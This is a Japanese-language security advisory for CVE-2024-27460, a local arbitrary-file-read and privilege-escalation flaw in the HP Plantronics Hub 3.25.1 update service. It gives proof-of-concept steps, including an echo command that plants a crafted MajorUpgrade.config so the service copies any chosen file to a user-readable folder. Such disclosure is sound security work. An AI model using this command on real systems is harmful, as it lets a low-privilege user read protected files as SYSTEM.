CVE-2024-27460

HP Plantronics Hub 3.25.1 Updater 特権昇格/任意ファイル読み取り

説明:

HP Plantronics Hub 3.25.1 には、低権限ユーザーがアプリケーションがインストールされたマシン上で SYSTEM として任意のファイル読み取りを実行できるバグがあります。さらに、この欠陥を悪用して SYSTEM ユーザーに特権を昇格することも可能です。

影響を受けるバージョン

HP Plantronics Hub 3.25.1

影響を受けるサービス

安全でないパス: "C:\ProgramData\Plantronics\Spokes3G"

サービス: PlantronicsUpdateService

再現手順 (POC):

• cmd.exe を開く
• cd C:\ProgramData\Plantronics\Spokes3G で移動
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config を実行
• 目的のファイルが "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp" にコピーされます。このフォルダには認証済みユーザーなら誰でもアクセスできます。

発見者:

• Farid Zerrouk（Deloitte Belgium）
• Alaa Kachouh（Mastercard Europe）